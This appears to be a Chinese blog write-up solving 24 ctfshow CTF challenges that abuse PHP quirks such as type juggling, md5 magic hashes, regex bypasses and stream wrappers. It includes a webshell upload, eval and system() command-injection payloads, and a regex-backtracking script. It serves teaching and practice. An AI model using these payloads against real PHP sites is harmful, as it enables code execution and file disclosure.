PHP特性

php特性一般是一些类型之间的转换产生的漏洞或函数本身的漏洞等。

以下均为ctfshow web入门篇php特性练习题:

参考自https://blog.csdn.net/weixin_45551083/article/details/110494387

例题1、intval数组绕过

1
2
3
4
5
6
7
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}

需要input != 0-9,且intval(input) == true

方法:数组绕过。

当input是数组(object)时,intval(input)会产生错误并返回1,同时pre_match(input)也会返回0。

例题2、intval进制绕过

1
2
3
4
5
6
7
8
9
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}

需要num=4476且num不等于字符”4476”。

这里考查invtal函数:intval( mixed $var[, int $base = 10] ) : int

1
2
3
4
5
6
7
8
9
var
要转换成 integer 的数量值
base
转化所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。

方法一:进制转换。

通过输入num=0x117c(十六进制),会转换为4476(10进制),并且可以绕过字符“4476”。

方法二:科学计数法

num=4476e10,intval转换完也是4476。

方法三:浮点数

num=4476.1,intval转换完也是4476。

方法四:如果禁用了.并且不能包含[a-z],可以使用+和八进制绕过

num=+010574,因为前边有0会被识别为八进制,转成十进制就是4476。

例题3、is_numeric绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}

两段flag,第一段需要a包含6个字母且大于999999,由于字母转成数字会变成0,因此构造:

1
2
3
a=1000000aaaaaa&b=2000a
//或
a=10e7aaaaaa&b[]=2000

转换完a = 1000000,b = 2000,且b因为包含a不会被判断为数字(数组也不会被判断为数字)。

例题4、php_im换行绕过

1
2
3
4
5
6
7
8
9
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}

正则表达式/^php$/i

  • ^: 匹配字符串的开始。
  • php: 具体的字符串。
  • $: 匹配字符串的结束。
  • i: 不区分大小写。
  • m: 表示判断多行,如果有一行含有具体字符串则返回true。

因此,绕过条件是使用%0a(换行符),在第二行写php,这样第一重判断为true,第二重判断为false

1
a=1%0aphp

例题5、highlight_file

1
2
3
4
5
6
7
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

highlight_file会将参数的文件源码高亮显示出来,因此传入?u=./flag.php绕过并显示flag.php源码

例题6、md5绕过

经典的一类题,md5绕过:

1
2
3
4
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;

方法一:数组绕过(php8无法绕过)

在 PHP5 和 PHP7 中,当两个 md5 进行比较时,若参数是不同的数组,那么 ===== 比较的结果均为 True

1
a[]=1&b[]=2

方法二: “oe” 绕过

因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同。

基本的原理是这样的,但更严谨的字符串格式是,0e 开头,同时后面都是数字,不能包含其他字符的字符串,md5 值才会相等(== 的结果为 True,但 === 的结果为 False)。

常见的 md5 值是 0e 开头且后面均为数字的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
1110242161
0e435874558488625891324861198103
1320830526
0e912095958985483346995414060832
1586264293
0e622743671155995737639662718498
2302756269
0e250566888497473798724426794462
2427435592
0e067696952328669732475498472343
2653531602
0e877487522341544758028810610885
3293867441
0e471001201303602543921144570260
3295421201
0e703870333002232681239618856220
3465814713
0e258631645650999664521705537122
3524854780
0e507419062489887827087815735195
3908336290
0e807624498959190415881248245271
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536

方法三:md5 碰撞

利用 fastcoll 进行 md5 碰撞,生成两个字面值不同但 md5 相同的文件。
新建一个空的 txt 文档,然后拖到 exe 上,自动生成两个文件,得到两个文件,通过代码读取即可。

1
2
3
4
5
6
7
8
9
<?php

$a = file_get_contents('D:tmp\a_msg1.txt');
$b = file_get_contents('D:tmp\a_msg2.txt');

print_r($a . "<br>");
print_r($b . "<br>");
print_r(var_dump($a === $b) . "<br>"); // bool(false)
print_r(var_dump(md5($a) === md5($b)) . "<br>"); // bool(true)

例题7、in_array弱类型比较绕过

1
2
3
4
5
6
7
8
9
$allow = array(); //设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); //向数组里面插入随机数
}

#判断n是否传参,判断$allow数组中是否存在$_GET['n']的值。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换
file_put_contents($_GET['n'], $_POST['content']);
}

in_array是弱类型比较,所以可以用数字+”.php”的方式绕过判断,并写入一句话木马。

因此,构造

1
2
?n=1.php
content=<?php eval($_POST[ant]);?> //post写入

之后通过蚂剑连接http://c78fad34-9788-4bc3-b90a-655bbfa96551.challenge.ctf.show/1.php,连接密码就是post里的ant,脸上查看flag.php获取flag。

例题8、eval执行类

1
2
3
4
5
6
7
8
9
10
11
12
13
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

php语言特性:

1
2
3
4
5
$a=true and false and false;
var_dump($a); 返回true

$a=true && false && false;
var_dump($a); 返回false

这题用的and,因此只需要保证v1是数字即可。

方法一

另外,提示了flag在class ctfshow里,因此只要构造该类并echo即可。

1
ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出(echo)到页面上。

因此,构造:

1
?v1=1&v2=echo%20new%20ReflectionClass&v3=;

方法二

还可以使用命令执行,%23 也就是 # 将后面的内容进行注释掉

1
2
?v1=1&v2=eval($_POST[1])?>%23&v3=;
1=system('ls'); //post写入

其实不注释也是可以的,这里也没有注释成功,因为我们已经使用 ?> 将前面的 php 代码闭合了,后面的 (‘ctfshow’) 已经在 php 标签外了,只会被当做纯文本直接输出。

也可以直接使用反引号进行命令执行:

1
?v1=1&v2=echo `ls`?>&v3=;

例题9、file_put_contents

1
2
3
4
5
6
7
8
9
10
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}

审计代码,首先需要v2是数字,用$s截取v2从第三个字符开始的内容,call_user_func是内置函数,意为调用v1方法,参数是$s。

另外,file_put_contents() 属于文件包含函数可以使用伪协议。

因此,思路是v2里写入payload:cat f* 的base64的十六进制串串,给v1复制hex2bin,使用hex2bin把v2转换成base64字符串 ,并使用base64伪协议写入v3文件中,就会在v3里写入cat f*,访问v3即可查看flag。

1
2
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin //post写入

这里难点在于v2的构造,因为必须要求php代码转换成base64后不能包含其他字符如d什么的,这里包含e是可以的,会被当做科学计数法,is_numeric仍然会返回true。00是绕过substr补充的垃圾数据。

1
5044383959474e6864434171594473    //这一串是<?=`cat *`; 转换成base64代码去掉=后再转换成16进制。

例题10、 $$使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

这题有点像反序列化,需要构造链子。

代码审计,遍历get中的map参数,如果$key===’error’就die,同样遍历post参数,如果$value===’flag’就die。这里die会结束,但是也会打印内容,因此可以看作echo。

思路,利用 $$(可变变量)

通过可变变量的使用,使 $error=$suces=$flag,则无论执行第二个 die() 还是第三个 die(),都可以获取 flag

构造:

1
2
3
GET   suces=flag
POST  error=suces
//这样,两次遍历完后会得到 $error = $suces = $flag,执行die($error);或die($suces);都会打印出flag。

同样,可以有其他类似的构造:

1
2
GET  x=flag
POST  error=x //执行die($error);会打印出flag。
1
2
flag 为空,绕过 if(!$_POST['flag']==$flag) 判断
GET   suces=flag&flag= //echo "your are good".$flag."\n";会打印flag。

例题11、ereg绕过

1
2
3
4
5
6
7
8
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。

ereg() 可被%00截断

intval() 可被字母截断

因此,思路用a%00绕过第一个if,strrev是逆序,因此输入0x36d的十进制877

构造:

1
?c=a%00778

例题12、eval内置类

1
2
3
4
5
6
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

利用点:魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。因此,通过使用这些类,可以将代码注入到 eval 中并输出结果。

构造:

1
2
3
4
?v1=Exception&v2=system('ls')
//相当于 eval("echo new Exception(system('ls'));");
?v1=CachingIterator&v2=system('ls')
?v1=ReflectionClass&v2=system('ls')

上述 payload 使用的都是 php 的内置类,我们还可以使用匿名类结合魔术方法来打:

1
?v1=class{ public function __construct(){system('ls');}};&v2=a

new class{ public function __construct(){system(‘ls);}} 创建一个匿名类,并执行其构造函数,运行 system(‘tac f*’);a() 是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响系统命令的执行结果。

例题13、eval内置类2

1
2
3
4
5
6
7
8
9
10
11
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

过滤了很多字符,且有括号()和`,基本上没法使用system(),echo等命令执行函数。

使用FilesystemIterator获取指定目录下的所有文件

知识点:

DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类

构造:

1
2
?v1=FilesystemIterator&v2=getcwd
//相当于执行eval("echo new FilesystemIterator(getcwd());");

获取到flag.txt后直接访问flag.txt即可。

例题14、php全局GLOBALS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\ [|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

$v2 的值引用赋给 $v1 对应的变量,即 $ctfshow,之后打印变量 $$v1($ctfshow) 的信息。原本思路是想将 $v2 赋成 flag,就得到 $flag,再将 $flag 赋给 $ctfshow,然后输出 $ctfshow 实际就是输出 $flag 的内容,构造 payload:

1
?v1=ctfshow&v2=flag

但是返回 NULL,因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。

因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。构造payload:

1
?v1=ctfshow&v2=GLOBALS

例题15、伪协议绕过is_file

1
2
3
4
5
6
7
8
9
10
11
12
13
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

要求传入的file不能是文件,即if_file返回false。

可以使用php伪协议绕过,is_file函数在使用php的伪协议时候会返回false,除了file://协议以外。

伪协议不影响file_get_contents,和highlight_file。

因此构造:

1
?file=php://filter/resource=flag.php 

注意:这里不需要base64读的原因是,highlight_file会直接把源代码显示出来,而需要base64读的是include函数,include函数会执行源代码而不是把源代码显示出来,使用base64可以防止源代码执行。

例题16、compress伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

在上一题的前提下过滤了filter,伪协议不行了,但可以用封装协议zlib(php4.0.4-php4.2.3)

1
?file=compress.zlib://flag.php

方法一

compress.zlib类似gzopen()

另外,

  • file协议不能绕过is_file的判断。

  • http协议需要公网ip。

  • glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。

方法二

目录溢出导致is_file认为这不是一个文件。

1
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录,这里实际访问的就是/proc/self/root/var/www/html/flag.php目录,不过构造很长的溢出绕过isfile检测。

例题17、is_numeric绕过2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

这里if中的and连接符需要与例题8区分过来。

在php中,如果代码如下,只需要第一个为true即可打印111。

1
2
3
4
5
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0)
{
echo '111';
}

但是,如果代码如下,需要所有均为true才能打印111。

1
2
3
4
if($v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3))
{
echo '111';
}

代码审计,is_numeric可以在数字前面加空格绕过,同时加上空格可以绕过$num!='36'

trim是移除字符串两侧的空白字符或其他预定义字符,可以看到空格等字符是会被去掉的,那么可以用%0c

trim移除的字符:

  • “ “ 普通空格符
  • “\t” 制表符
  • “\n” 换行符
  • “\r” 回车符
  • “\0” 空字节符
  • “\x0B” 垂直制表符

使用%0c也可以绕过filter。

接下来再看第二个if判断,这是看起来很矛盾的一个判断。$num!=='36‘和$num=='36'

来具体看一下!==的定义,只要类型不同就不全等。

pAsU9h9.png

并且,!==时不进行类型转换,但是==会进行类型转换。

因此,加上%0c换页符,在==进行类型转换,所有%0c36会被转换为数值36,结果true;在!==不进行类型转换,所以字符串和数值比较,类型不同,结果true

所以,构造:

1
?num=%0c36

例题18、php变量名中.绕过

1
2
3
4
5
6
7
8
9
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

要求不能传参fl0g,因此下边if失效,只能使用上边的eval("echo $flag"来获取flag。

因此构造:

1
CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag       //post写入

发现失败,因为在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、. 、[则会被转化为_,所以构造不出CTF_SHOW.COM,因为含有.字符,但php中有个特性就是对不符合规则的变量只转换一次,因此如果传入[,它被转换成—之后,后边的字符就会被保留下来不会被替换。

重新构造:

1
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag       //post写入

例题19、php变量名中.绕过2

1
2
3
4
5
6
7
8
9
10
11
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

在上一题基础上,过滤了echo,GLOBALS,flag等,system不行是因为禁用了双引号和单引号,但是phpinfo()不知道什么原因也失效(可能是后台php.ini配置里禁用的,disable_functions = phpinfo)。

输出内容函数大多被限制了,但是highlight_file肯定没有被限制,当前页面就用到了,所以用highlight_file高亮显示。限制了长度,那么可以考虑get再传参。

因此构造:

1
2
?1=flag.php      //get
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1]) //post

方法二:

利用$_SERVER[‘argv’]:传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。另外parse_str()函数将查询字符串解析到变量中。

执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
因此构造:

1
2
a=1+fl0g=flag_give_me     //get
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //post

方法三:

还可以用assert()执行php语句,实现变量覆盖。

1
2
?$fl0g=flag_give_me       //get
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) //post

例题20、extract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}

if($ctf_show==='ilove36d'){
echo $flag;
}

extract函数会从get里获取数据并重新对变量赋值,因此绕过waf后即可对$ctf_show重新赋值,而不是最开始的md5值了。

因为禁用了_和.,因此使用空格,让它转成 _

构造:

1
?ctf show=ilove36d

例题21、gettext扩展

1
2
3
4
5
6
7
8
9
10
11
12
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

此题用到了gettext扩展,而_()等效于gettext(),源代码中所有需要多语言支持的(需要翻译的)字符串都修改为使用gettext函数包装起来。__()==(gettext) 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

而get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。当正常的gettext(“get_defined_vars”);时会返还get_defined_vars

因此构造:

1
2
3
?f1=_&f2=get_defined_vars
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));

即可打印出所有数组信息。

例题22、stripos绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14

if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true,

方法一:所以才有了直接

1
f=ctfshow   //post

方法二

stripos在给定变量中查找字符串,找到返回第一出现位置,找不到返回false。

可以使用数组绕过,stripos应用于数组的时候会返回null,null!==false。

1
f[]=1  //post

例题23、preg_match回溯绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

在ctfshow前边加了36D,因此直接构造的方法f=ctfshow无效了,并且加了String,String之后得到的是空字符串,stripos处理空字符串会返回false。

考虑回溯绕过,当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。

需要使用脚本发送:

1
2
3
4
5
6
7
8
import requests

url = 'http://22149de0-75f6-4963-b4aa-e08af1888433.challenge.ctf.show/'
data = {
'f': 'very' * 250000 + '36Dctfshow'
}
r = requests.post(url=url, data=data).text
print(r)

例题24、运算符优先级

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

因为&&优先级高于||,因此a && b || c 其实是(a && b) || c,因此只需满足$username ===”admin”即可进入if。

构造:

1
?code=admin&$password=a&username=admin